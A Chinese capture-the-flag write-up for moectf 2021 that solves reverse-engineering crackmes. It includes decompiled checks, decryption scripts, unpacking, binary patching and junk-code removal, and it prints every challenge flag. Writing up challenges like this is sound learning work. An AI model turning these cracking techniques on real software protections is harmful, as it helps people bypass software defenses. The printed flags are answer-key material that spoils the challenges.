题解

有一个人前来参加CTF

听说是入门级别, 试下水, 结果发现挺有意思.
网站链接

Re

歪比巴卜

welcome_to_the_world_of_re

IDA载入, 容易看出这几行是检验过程:

1
2
for ( i = 0; i <= 3; ++i )
((void (__fastcall *)(void *))funcs_4016DE[i])(&unk_407040);

unk_407040是你输入的数据, for里有4个函数, 逐个打开查看

函数 作用
sub_401550 检查长度
sub_401585 检查是否是”moectf{“开头
sub_4015C5 检查结尾是否为”}
sub_401606 检查flag内容, 发现flag直接放在off_403028

如果事先发现没有加密的话, 也可以直接记事本打开搜”moectf{“.

moectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}

EinfachRe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main()
{
char Destination[7]; // [esp+16h] [ebp-1Ah] BYREF
char v[14]; // [esp+1Dh] [ebp-13h] BYREF
char v3; // [esp+2Bh] [ebp-5h]
int i; // [esp+2Ch] [ebp-4h]

__main();
strcpy(Destination, enflag);
puts("Give me your flag:");
gets(v);
if ( check(v) )
{
for ( i = 0; i <= 6; ++i )
{
v3 = v[i] ^ v[i + 7];
if ( v3 != Destination[i] )
{
puts("try again!!!");
puts("your flag is moectf{******}");
system("pause");
return 0;
}
}
printf("Congratulations!!!!!!!!!!!!!");
system("pause");
return 0;
}
else
{
puts("wrong length!!");
system("pause");
return 0;
}
}

打开发现事狗屁不通文章生成器
打开发现是简单的异或加密, 又知道前7个字母是”moectf{“, 然后就可以写脚本啦

1
2
3
4
5
6
c = [0x28, 0x15, 0x3A, 0x1B, 0x44, 0x14, 0x06]
k = 'moectf{'
for i in range(len(k)):
k += chr(ord(k[i]) ^ c[i])
print(k)
input()

moectf{Ez_x0r}

Realezpy

是python脚本的字节码, 用uncompyle6反编译一下, 得到下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: Ezpython.py
# Compiled at: 2021-07-28 10:01:40
# Size of source mod 2**32: 931 bytes
import time
c = [119, 121, 111, 109, 100, 112, 123, 74, 105, 100, 114, 48, 120, 95, 49, 99, 95, 99, 121, 48, 121, 48, 121, 48, 121, 48, 95, 111, 107, 99, 105, 125]

def encrypt(a):
result = []
for i in range(len(a)):
if ord('a') <= ord(a[i]) <= ord('z'):
result.append((ord(a[i]) + 114 - ord('a')) % 26 + ord('a'))
elif ord('A') <= ord(a[i]) <= ord('Z'):
result.append((ord(a[i]) + 514 - ord('A')) % 26 + ord('A'))
else:
result.append(ord(a[i]))
else:
return result


ipt = input('Plz give me your flag:')
out = encrypt(ipt)
if len(ipt) != len(c):
print('Wrong lenth~')
exit()
else:
for i in range(len(c)):
if out[i] != c[i]:
print('Plz try again?')
exit()
else:
print('Congratulations!!!')
time.sleep(1)
print('enjoy the beauty of python ~~~ ')
import this

观察一下, 可以写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c = [119, 121, 111, 109, 100, 112, 123, 74, 105, 100, 114, 48, 120, 95, 49, 99, 95, 99, 121, 48, 121, 48, 121, 48, 121, 48, 95, 111, 107, 99, 105, 125]

def dec(i):
if (ord('A') <= c[i] <= ord("Z")):
return (c[i] - 514 - ord('A')) % 26 + ord('A');
elif (ord('a') <= c[i] <= ord('z')):
return (c[i] - 114 - ord('a')) % 26 + ord('a');
else:
return c[i];

opt = ''
for i in range(len(c)):
opt += chr(dec(i))
print(opt)
input()

好了, 以上就是小编整理的关于Realezpy的内容了, 看看下面的flag吧.

moectf{Pyth0n_1s_so0o0o0o0_easy}

A_game

打開康康是什麼遊戲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
_main(argc, argv, envp);
puts("<--- moectf2021 --->");
puts(" [A_game] Welcome to moectf2021.");
puts("Let's play a game!");
puts("Now input your answer, and if you are right, I will give you flag");
printf("input : ");
memset(Str, 0, sizeof(Str));
v6 = 0;
scanf("%s", Str);
if ( strlen(Str) != 49 )
{
puts("It's not enough.");
system("pause");
exit(0);
}
v10 = 0;
for ( i = 0; i <= 8; ++i )
{
for ( j = 0; j <= 8; ++j )
{
if ( !box[9 * i + j] )
{
v3 = v10++;
box[9 * i + j] = Str[v3] - 48;
}
}
}
check1();
check2();
check3();
puts("Congratulations!!!!");
puts("Enjoy the beauty of reverse and sudoku!");
printf("And here is your flag : moectf{");
for ( k = 0; k < strlen(Str); ++k )
putchar(Str[k] ^ magic[k]);
putchar(125);
return 0;
}

下面给了提示, 是数独. 程序把你填的数放到残缺的数独题中, 如果经过检验通过就可以自动算出flag.

数独题如下:

1
2
3
4
5
6
7
8
9
0 0 5 0 0 4 3 6 0
0 0 0 0 5 0 0 2 4
0 4 9 6 7 0 0 0 0
1 0 6 0 2 0 0 3 0
9 0 0 7 0 0 1 0 8
0 3 0 0 0 5 0 9 0
2 0 0 5 0 7 0 0 9
7 0 4 0 0 0 8 0 0
0 9 0 0 4 0 0 0 6

0是要填的, 然后直接去网上找解题器.

答案

诶真香~~

moectf{S0_As_I_prAy_Un1imited_B1ade_WOrks—-E1m1ya_Shiro}

clothes

打开发现不对劲, 哦, 原来是加壳了. 查壳发现是aspack. 然后去吾爱上找了个脱壳器, 脱壳后程序无法启动, 不过问题不大, 直接IDA打开即可.

是异或加密, 直接写解密代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>

const char
a[] = {0x1E, 0x2A, 0x4E, 0x24, 0x23, 0x0F, 0x28, 0x39, 0x71, 0x3C, 0x4F, 0x4C, 0x6E, 0x35, 0x22, 0x3E, 0x08, 0x02, 0x31, 0x7D, 0x2C, 0x36, 0x16, 0x04, 0x22, 0x1A, 0x53, 0x07, 0x73, 0x38},
b[] = {0x73, 0x45, 0x2B, 0x47, 0x57, 0x69, 0x53, 0x0D, 0x44, 0x4C, 0x2E, 0x2F, 0x05, 0x6A, 0x13, 0x4D, 0x57, 0x31, 0x4B, 0x22, 0x58, 0x06, 0x49, 0x71, 0x4C, 0x6A, 0x32, 0x64, 0x18, 0x45};

int main(){
int i; for (i = 0; i < 30; i++) putchar(a[i] ^ b[i]);
putchar('\n');
return 0;
}

为什么不用python? 问就是当时不会.

moectf{45pack_1s_3z_t0_unpack}

大佬请喝coffee

用jd-gui打开, 发现是矩阵, 脑袋开始痛了.
但是, matlab yyds!!!

问题不大, 把代码整理下, 得到下面的:

《易得》 $ x = \begin{bmatrix}69 & 88 & 99 & 97 & 108 & 105 & 98 & 117 & 114 \end{bmatrix}^\mathrm{T} $

chr()一下, 结果是EXcalibur.

moectf{EXcalibur}

time2go

打开发现程序很复杂, 后来在知道这是go语言编译后的结果. 真正的程序入口函数是main_main.
然后发现程序一直在输出-延迟-输出-延迟. 砸瓦鲁多? 不存在的, 直接把延时函数time_Sleep给屏蔽掉, 方法是打开函数并切到汇编模式,对着函数第一句mov rcx, gs:28h, Edit->Patch program->Assemble, 改成ret, 让它直接返回, 别忘了Edit->Patch program->Apply patches. 运行程序, 游戏结束!

1
2
3
4
5
6
7
8
welcome to moectf2021!
↓↓↓↓Here's your flag↓↓↓↓
moectf{G0_1an8uag3_1
++++++++++++++++++++++++++++++++++
Congratulations!!!!
You are very close to success!!
Try to find the remaining flag!!
++++++++++++++++++++++++++++++++++

然而发现flag只有一半. 无奈地再次分析, 最后花了七八分钟在main_fun2函数的main_CanuFindme变量里找到了后面一半:5_amaz1ng}.

moectf{G0_1an8uag3_15_amaz1ng}

midpython

又是一个python程序, 不同的是这个被编译成了exe.
在网上找了这篇文章, 按照他的方法, 我得到了MidPython文件, 补上文件的前十六个字节, 修改后缀为pyc, 它终于可以运行了!!!
可能是我的打开方式有问题, uncompyle6不能反编译它, 于是我从网上下载了pycdas程序, 得到下面的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
[Code]
File Name: Midpython.py
Object Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Locals: 0
Stack Size: 5
Flags: 0x00000040 (CO_NOFREE)
[Names]
'key'
'xxor'
'xoor'
'xorr'
'len'
'length'
'input'
'ipt'
'flag'
'range'
'i'
'ord'
'print'
[Var Names]
[Free Vars]
[Cell Vars]
[Constants]
(
69
70
79
72
88
75
85
127
89
85
74
19
74
122
107
103
75
77
9
73
29
28
67
)
[Code]
File Name: Midpython.py
Object Name: <lambda>
Arg Count: 2
Pos Only Arg Count: 0
KW Only Arg Count: 0
Locals: 2
Stack Size: 2
Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[Names]
[Var Names]
'x'
'y'
[Free Vars]
[Cell Vars]
[Constants]
None
11
[Disassembly]
0 LOAD_FAST 0: x
2 LOAD_FAST 1: y
4 BINARY_XOR
6 LOAD_CONST 1: 11
8 BINARY_XOR
10 RETURN_VALUE
'<lambda>'
[Code]
File Name: Midpython.py
Object Name: <lambda>
Arg Count: 2
Pos Only Arg Count: 0
KW Only Arg Count: 0
Locals: 2
Stack Size: 3
Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[Names]
'xxor'
[Var Names]
'x'
'y'
[Free Vars]
[Cell Vars]
[Constants]
None
45
[Disassembly]
0 LOAD_GLOBAL 0: xxor
2 LOAD_FAST 0: x
4 LOAD_FAST 1: y
6 CALL_FUNCTION 2
8 LOAD_CONST 1: 45
10 BINARY_XOR
12 RETURN_VALUE
[Code]
File Name: Midpython.py
Object Name: <lambda>
Arg Count: 2
Pos Only Arg Count: 0
KW Only Arg Count: 0
Locals: 2
Stack Size: 3
Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[Names]
'xoor'
[Var Names]
'x'
'y'
[Free Vars]
[Cell Vars]
[Constants]
None
14
[Disassembly]
0 LOAD_GLOBAL 0: xoor
2 LOAD_FAST 0: x
4 LOAD_FAST 1: y
6 CALL_FUNCTION 2
8 LOAD_CONST 1: 14
10 BINARY_XOR
12 RETURN_VALUE
'>>>input your flag:\n>>>'
1
0
'>>>Right!!'
'>>>Wrong!!'
None
[Disassembly]
0 BUILD_LIST 0
2 LOAD_CONST 0: (69, 70, 79, 72, 88, 75, 85, 127, 89, 85, 74, 19, 74, 122, 107, 103, 75, 77, 9, 73, 29, 28, 67)
4 LIST_EXTEND 1
6 STORE_NAME 0: key
8 LOAD_CONST 1: <CODE> <lambda>
10 LOAD_CONST 2: '<lambda>'
12 MAKE_FUNCTION 0
14 STORE_NAME 1: xxor
16 LOAD_CONST 3: <CODE> <lambda>
18 LOAD_CONST 2: '<lambda>'
20 MAKE_FUNCTION 0
22 STORE_NAME 2: xoor
24 LOAD_CONST 4: <CODE> <lambda>
26 LOAD_CONST 2: '<lambda>'
28 MAKE_FUNCTION 0
30 STORE_NAME 3: xorr
32 LOAD_NAME 4: len
34 LOAD_NAME 0: key
36 CALL_FUNCTION 1
38 STORE_NAME 5: length
40 LOAD_NAME 6: input
42 LOAD_CONST 5: '>>>input your flag:\n>>>'
44 CALL_FUNCTION 1
46 STORE_NAME 7: ipt
48 LOAD_CONST 6: 1
50 STORE_NAME 8: flag
52 LOAD_NAME 4: len
54 LOAD_NAME 7: ipt
56 CALL_FUNCTION 1
58 LOAD_NAME 5: length
60 COMPARE_OP 2 (==)
62 POP_JUMP_IF_FALSE 114
64 LOAD_NAME 9: range
66 LOAD_NAME 5: length
68 CALL_FUNCTION 1
70 GET_ITER
72 FOR_ITER 38 (to 112)
74 STORE_NAME 10: i
76 LOAD_NAME 3: xorr
78 LOAD_NAME 11: ord
80 LOAD_NAME 7: ipt
82 LOAD_NAME 10: i
84 BINARY_SUBSCR
86 CALL_FUNCTION 1
88 LOAD_NAME 10: i
90 CALL_FUNCTION 2
92 LOAD_NAME 0: key
94 LOAD_NAME 10: i
96 BINARY_SUBSCR
98 COMPARE_OP 3 (!=)
100 POP_JUMP_IF_FALSE 72
102 LOAD_CONST 7: 0
104 STORE_NAME 8: flag
106 POP_TOP
108 JUMP_ABSOLUTE 118
110 JUMP_ABSOLUTE 72
112 JUMP_FORWARD 4 (to 118)
114 LOAD_CONST 7: 0
116 STORE_NAME 8: flag
118 LOAD_NAME 8: flag
120 LOAD_CONST 6: 1
122 COMPARE_OP 2 (==)
124 POP_JUMP_IF_FALSE 136
126 LOAD_NAME 12: print
128 LOAD_CONST 8: '>>>Right!!'
130 CALL_FUNCTION 1
132 POP_TOP
134 JUMP_FORWARD 8 (to 144)
136 LOAD_NAME 12: print
138 LOAD_CONST 9: '>>>Wrong!!'
140 CALL_FUNCTION 1
142 POP_TOP
144 LOAD_CONST 10: None
146 RETURN_VALUE

“说人话?”
好吧原来的人工反编译结果找不到了, 直接把官方WP搬过来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
key = [69, 70, 79, 72, 88, 75, 85, 127, 89, 85, 74, 19, 74, 122, 107, 103, 75, 77, 9, 73, 29, 28, 67]
xxor = lambda x, y: (x ^ y) ^ 11
xoor = lambda x, y: xxor(x, y) ^ 45
xorr = lambda x, y: xoor(x, y) ^ 14
length = len(key)
ipt = input(">>>input your flag:\n>>>")
flag = 1
if len(ipt) == length:
for i in range(length):
if xorr(ord(ipt[i]), i) != key[i]:
flag = 0
break
else:
flag = 0
if flag == 1:
print(">>>Right!!")
else:
print(">>>Wrong!!")

解密:

1
2
3
4
5
6
7
key = [69, 70, 79, 72, 88, 75, 85, 127, 89, 85, 74, 19, 74, 122, 107, 103, 75, 77, 9, 73, 29, 28, 67]
xxor = lambda x, y: (x ^ y) ^ 11
xoor = lambda x, y: xxor(x, y) ^ 45
xorr = lambda x, y: xoor(x, y) ^ 14

for i in range(len(key)):
print(chr(xorr((key[i]), i)), end='')

moectf{Pyth0n_M@st3r!!}

ez_Algorithm

逆向出来发现一个使用递归(效率很低)的算法:

1
2
3
4
5
6
7
8
9
__int64 __fastcall fuck(int a1)
{
int v2; // ebx

if ( a1 <= 1 )
return (unsigned int)a1;
v2 = fuck((unsigned int)(a1 - 1));
return v2 + 2 * (unsigned int)fuck((unsigned int)(a1 - 2));
}

写成数学式就是:

让我们帮它优化亿下:

就不求通项了, 反正速度也挺快-_-:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdint.h>

const unsigned char key[] = {0x6D, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x21, 0x55, 0x00, 0x00, 0xCD, 0xAA, 0xAA, 0x00, 0x2E, 0x55, 0x55, 0x55, 0x9F, 0xAA, 0xAA, 0xAA, 0x33, 0x55, 0x55, 0x55, 0x9C, 0xAA, 0xAA, 0xAA, 0x66, 0x55, 0x55, 0x55, 0xD9, 0xAA, 0xAA, 0xAA, 0x0A, 0x55, 0x55, 0x55, 0xCA, 0xAA, 0xAA, 0xAA, 0x64, 0x55, 0x55, 0x55, 0x9A, 0xAA, 0xAA, 0xAA, 0x0A, 0x55, 0x55, 0x55, 0x9C, 0xAA, 0xAA, 0xAA, 0x3D, 0x55, 0x55, 0x55, 0x9A, 0xAA, 0xAA, 0xAA, 0x26, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x62, 0x55, 0x55, 0x55, 0x9A, 0xAA, 0xAA, 0xAA, 0x38, 0x55, 0x55, 0x55, 0x98, 0xAA, 0xAA, 0xAA, 0x2B, 0x55, 0x55, 0x55, 0xEF, 0xAA, 0xAA, 0xAA, 0x65, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x2C, 0x55, 0x55, 0x55, 0x9B, 0xAA, 0xAA, 0xAA, 0x20, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x27, 0x55, 0x55, 0x55, 0x98, 0xAA, 0xAA, 0xAA, 0x34, 0x55, 0x55, 0x55, 0x9A, 0xAA, 0xAA, 0xAA, 0x64, 0x55, 0x55, 0x55, 0xD1, 0xAA, 0xAA, 0xAA, 0x66, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x62, 0x55, 0x55, 0x55, 0xC3, 0xAA, 0xAA, 0xAA, 0x66, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x38, 0x55, 0x55, 0x55, 0x98, 0xAA, 0xAA, 0xAA, 0x34, 0x55, 0x55, 0x55, 0xC5, 0xAA, 0xAA, 0xAA, 0x64, 0x55, 0x55, 0x55, 0xC5, 0xAA, 0xAA, 0xAA, 0x32, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x65, 0x55, 0x55, 0x55, 0xCD, 0xAA, 0xAA, 0xAA, 0x0A, 0x55, 0x55, 0x55, 0xFF, 0xAA, 0xAA, 0xAA, 0x64, 0x55, 0x55, 0x55, 0xC6, 0xAA, 0xAA, 0xAA, 0x66, 0x55, 0x55, 0x55, 0xF4, 0xAA, 0xAA, 0xAA, 0x36, 0x55, 0x55, 0x55, 0x9B, 0xAA, 0xAA, 0xAA, 0x38, 0x55, 0x55, 0x55, 0xDB, 0xAA, 0xAA, 0xAA, 0x64, 0x55, 0x55, 0x55, 0x98, 0xAA, 0xAA, 0xAA, 0x2D, 0x55, 0x55, 0x55, 0x9A, 0xAA, 0xAA, 0xAA, 0x62, 0x55, 0x55, 0x55, 0xD2, 0xAA, 0xAA, 0xAA, 0x6A, 0x55, 0x55, 0x55, 0x94, 0xAA, 0xAA, 0xAA, 0x6A, 0x55, 0x55, 0x55, 0xD6, 0xAA, 0xAA, 0xAA};

uint32_t fuck(int n){
uint32_t r = 0;
if (n <= 1) return n;
if (n >= 34) n = (n & 1) ? 33 : 32;
while (n > 1){
n -= 2;
if (n < 32) r |= 1 << n;
}
r |= n;
return r;
}

int main(){
int i;
const uint32_t *flag = (const uint32_t *)key;
for (i = 0; i <= 75; i++){
putchar(fuck(i * i) ^ flag[i]);
}
while(getchar() != '\n');
return 0;
}

总之这个题很有意思, 它让我想起了被数列支配的恐惧.

moectf{4f73r_a11_7h1s_71m3~D0_y0u_r3a11z3_7h3_m3an1ng_0f_T1m3_c0mp13x17y???}

PEPEPE

打开IDA, 诶, 怎么变16位程序了?

科普一下, PE是32/64位Windows下的可执行文件, 其中一个特点为能在对应系统下运行以外, 还能在16位DOS下运行(虽然运行结果只是提示一条消息). 这是Windows的一贯作风: 在版本更迭时, 仍然会保持变态的兼容性, 甚至因此现在Windows下的路径分隔符仍然是反斜杠而不是更有现代风格的斜杠. 所以, 你可以永远相信Windows的向下兼容能力, 虽然说向下兼容有好有坏.

IDA没有识别到PE头, 只识别到MZ头. 用16进制打开发现PE偏移被置零了(0x3C处). 把PE偏移填上0x00000080就OK了. 深入了解PE结构, 可以看看《Windows PE权威指南》

现在再打开IDA, 发现这次正常了. 在main中可以直接看到加密的全过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v4; // [esp+18h] [ebp-18h]
int v5; // [esp+1Ch] [ebp-14h]
FILE *v6; // [esp+20h] [ebp-10h]
signed int v7; // [esp+24h] [ebp-Ch]
int j; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]

__main();
// logo 就不输出了
puts("[root@Track.Sh]# Welcome to moectf2021! It's just a mirror flower moon~");
scanf("%s", input);
v7 = strlen(input);
v6 = fopen("file_org", "rb");
if ( v6 )
{
fseek(v6, 0, 2);
v5 = ftell(v6);
rewind(v6);
for ( i = 0; i < v5 - 1; ++i )
{
bank[i] = getc(v6);
bank[i] = ~(bank[i] ^ input[i % v7]);
}
fclose(v6);
v4 = fopen("file", "wb");
for ( j = 0; j < v5; ++j )
fputc((int)v4, (FILE *)bank[j]);
printf("[root@Track.Sh]# It's over, I don't know what you gonna do but... Just keep justy.");
return 0;
}
else
{
puts("[root@Track.Sh]# An unexcepted error happened:(");
return 1;
}
}

虽然不知道之前输入了什么, 我们还是尝试解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>

int main(){
FILE *f = fopen("file", "rb"), *g = fopen("out", "wb");
fseek(f, 0, SEEK_END);
long len = ftell(f), i;
rewind(f);
for (i = 0; i < len - 1; i++){
putc(~getc(f), g);
}
fclose(f); fclose(g);
return 0;
}

用记事本打开输出文件, 解密了, 但是, 没有完全解密.
记事本中有这么一段:

1
??鎒qiersill摉ke羙u!reve2ierwilllikeyou!reverierwilllikeyou!騟ve|v遼w輊

原来PE文件有很多相连的0字符, 这些地方异或以后会出现循环的密码字串, 盲猜一手密码是reverierwilllikeyou! 稍微修改下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

int main(){
char code[128];
scanf("%s", code);
size_t sl = strlen(code);
FILE *f = fopen("file", "rb"), *g = fopen("out", "wb");
fseek(f, 0, SEEK_END);
long len = ftell(f), i;
rewind(f);
for (i = 0; i < len - 1; i++){
putc((~getc(f) ^ code[i % sl]), g);
}
fclose(f); fclose(g);
return 0;
}

输入那个密码, 再用记事本打开, 看到了久违的MZ头.
修改后缀为exe, 得到flag.

moectf{P3_Structur3_1s_r3ally_fUnnY!}

RedC4Bomb

打开分析, 发现main函数直接JUMPOUT, 切汇编看看发生甚么事了.
找到JUMPOUT的地方, 发现加了花指令, 填nop还原一下. 诶, 又有一个, 再还原…
搞了老半天, 可能有什么脚本能快一点吧, IDA更多的不懂了.
总之有两个函数加了花指令, 都还原以后, 查看程序逻辑(有些函数名已修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-1E8h]
char v5; // [esp+0h] [ebp-1E8h]
char v6; // [esp+0h] [ebp-1E8h]
int i; // [esp+D0h] [ebp-118h]
int v8[66]; // [esp+DCh] [ebp-10Ch] BYREF

sub_4140E1("[root@Track.Sh]# Welcome to moectf2021!\n", v4);
sub_4140E1("[root@Track.Sh]# Input your flag to dismantle the bomb: ", v5);
RC_JunkF(); // 垃圾代码
sub_41403C("%s", (char)&unk_43D138);
RC_JunkF();
RC_Zero(v8, 0x104u);
RC_SetCode(v8);
RC_JunkF();
RC_InitBox((char *)v8[64], (int)v8);
RC_Encoding((int)v8, (int)&unk_43D138, (int)byte_43D520);
RC_JunkF();
if ( sub_4143DE((int)&unk_43D138) == 20 )
{
RC_JunkF();
RC_JunkF();
for ( i = 0; i < 20; ++i )
{
if ( byte_43D520[i] != byte_43AB30[i] )
{
sub_4140E1("[root@Track.Sh]# NoNoNo! The bomb will go off!\n", v6);
return 1;
}
}
RC_JunkF();
sub_4140E1("[root@Track.Sh]# Right! The bomb was successfully disassembled~\n", v6);
sub_4140E1("[root@Track.Sh]# The flag is moectf{%s}\n", (char)&unk_43D138);
return 0;
}
else
{
sub_4140E1("[root@Track.Sh]# Wrong length! The bomb will go off!\n", v6);
return 1;
}
}

比较像RC4, 但不完全是, 我用THISISAFAKEFLAG作为密码试了一下, 发现不行.
v8应该是一个C++类, 前256字节放sbox, 紧跟着是密码字符串, 先初始化sbox, 再加密用户输入, 然后和byte_43AB30比对.

碰一下运气吧, 猜它是对称加密, 写了如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <string.h>
#include <stdint.h>

typedef uint8_t u8;

void rc4(const u8 *in, u8 *out, size_t len, const u8 *key, size_t keylen){
size_t i;
u8 S[256], T[256], b, j, k;
for (i = 0; i < 256; i++){
S[i] = i;
T[i] = (u8)key[i % keylen];
}
j = 0;
for (i = 0; i < 256; i++){
j = (j + S[i] + T[i]) & 0xFF;
b = S[i]; S[i] = S[j]; S[j] = b;
}
j = k = 0;
for (i = 0; i < len; i++){
j++; k = k + S[j];
b = S[j]; S[j] = S[k]; S[k] = b;
out[i] = in[i] ^ S[(u8)(S[j] + S[k])];
}
}

void rc4f(const u8 *in, u8 *out, size_t len, const u8 *key, size_t keylen){
size_t i;
u8 S[256], T[256], b, j, k;
for (i = 0; i < 256; i++){
S[i] = 0;
T[i] = (u8)key[i % keylen];
}
j = 0;
for (i = 0; i < 256; i++){
S[i] = -1 - i;
j = (j + S[i] + T[i]) & 0xFF;
b = S[i]; S[i] = S[j]; S[j] = b;
}
j = k = 0;
for (i = 0; i < len; i++){
j++; k = k + S[j];
b = S[j]; S[j] = S[k]; S[k] = b;
out[i] = in[i] ^ S[(u8)(S[j] + S[k])];
}
}

const char key[] = "THISISAFAKEFLAG";
const u8 m[] = {
0x44, 0x3F, 0x53, 0x2F, 0x73,
0x86, 0x3E, 0xAE, 0x55, 0xBE,
0x18, 0x5F, 0x74, 0x68, 0x33,
0x5F, 0xF2, 0x06, 0x6D, 0x62,
};

int main(){
u8 buf[21];
buf[20] = 0;
rc4f(m, buf, 20, (const u8 *)key, strlen(key));
printf("%s\n", buf);
return 0;
}

运行一下, 得到”D1S4ss3mbl3_th3_b0mb”, 这应该就是我们要的答案了, 试一下, 果然可以.

moectf{D1S4ss3mbl3_th3_b0mb}

baby_bc

这 都 是 些 啥 啊
我不到啊! 像某种汇编指令, 注意到文件中出现了这些东西:

1
2
llvm.module.flags
clang version 6.0.0-1ubuntu2

在网上查询得知, 这是llvm的代码, 由clang编译得来. 这个原来的后缀应该是.ll, 从SegmentFault网上找到了编译它的方法:

1
2
3
llvm-as chall.ll
llc chall.bc
clang chall.s

结果找不到__isoc99_scanf. 额, 强行换成scanf, 这下可以了.
IDA载入, 那两个显眼的下北沢函数是RC4. 下面那个像base64(不完全是). 先把比对结果转成base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

const char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int main(){
char buf[1024];
scanf("%s", buf);
int n = strlen(buf), i;
for (i = 0; i < n; i++){
buf[i] = key[buf[i] - 61];
}
printf("%s\n", buf);
return 0;
}

使用工具进行base64解码, 再用程序中的”11 45 14 61 76 61 6C 6F 6E 2C 79 79 64 73”作为密钥进行RC4, 得到答案.

moectf{Y0u_Kn0w_1lVm_ir_c0d3_A_l0t_!1!1}

Algorithm_revenge

又是个算法题. 载入后发现程序用一个固定的种子向一个二维数组填入随机数. 程序意图为:

小人从(1, 1)出发, 可以选择(2, 1)或(2, 2)
小人在(n, m)时, 可以在下一步跳到(n + 1, m + i), (i = -1, 0, 1 且 m + i > 0).
直到 n = 50 时停止. 计算小人经过的数的总和. 求和的最大值.

我的算法是倒推法, 简单说就是从第 n 层去选一个 n + 1 层中最好的结果.如图所示:

算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>

int map[2499], tree[2499], path[49];

void init_buffer(){
int i, j; srand(0x1BF52u);
for (i = 0; i < 50; i++) for (j = 0; j <= i; j++) map[50 * i + j] = rand() % 1919810;
}

void solve(){
int i, j, k, m, n, s;
for (i = 48; i >= 0; i--){
for (j = 0; j <= i; j++){
int l = j - 1, r = j + 1;
if (l < 0) l = 0;
m = INT_MIN;
s = map[50 * i + j];
for (k = l; k <= r; k++){
n = map[50 * (i + 1) + k];
if (n > m){
m = n;
map[50 * i + j] = m + s;
tree[50 * i + j] = k - j;
}
}
}
}
}

const char tab[] = {'L', 'D', 'R'};
void disp(){
int i;
int p = 0, s;
for (i = 0; i < 49; i++){
s = tree[i * 50 + p];
putchar(tab[s + 1]);
p += s;
}
}

int main(){
int i;
init_buffer();
solve();
fputs("moectf{", stdout);
disp();
puts("}");
return 0;
}

真就acm了呗.

moectf{DDDRDDLRLRDRDRLLRRRDLLLRRLDRRDRRLDDDLDRRDLRDLLRDD}

Pwn

之前打比赛的时候完全不知道题目什么意思, 网站打开是一个个人博客, 然后啥也没有啊?
比赛结束才想起去网上搜一搜nc是啥, 然后发现是一个命令, 安装了个amd64的linux试了一下, 诶可以了.

test_your_nc

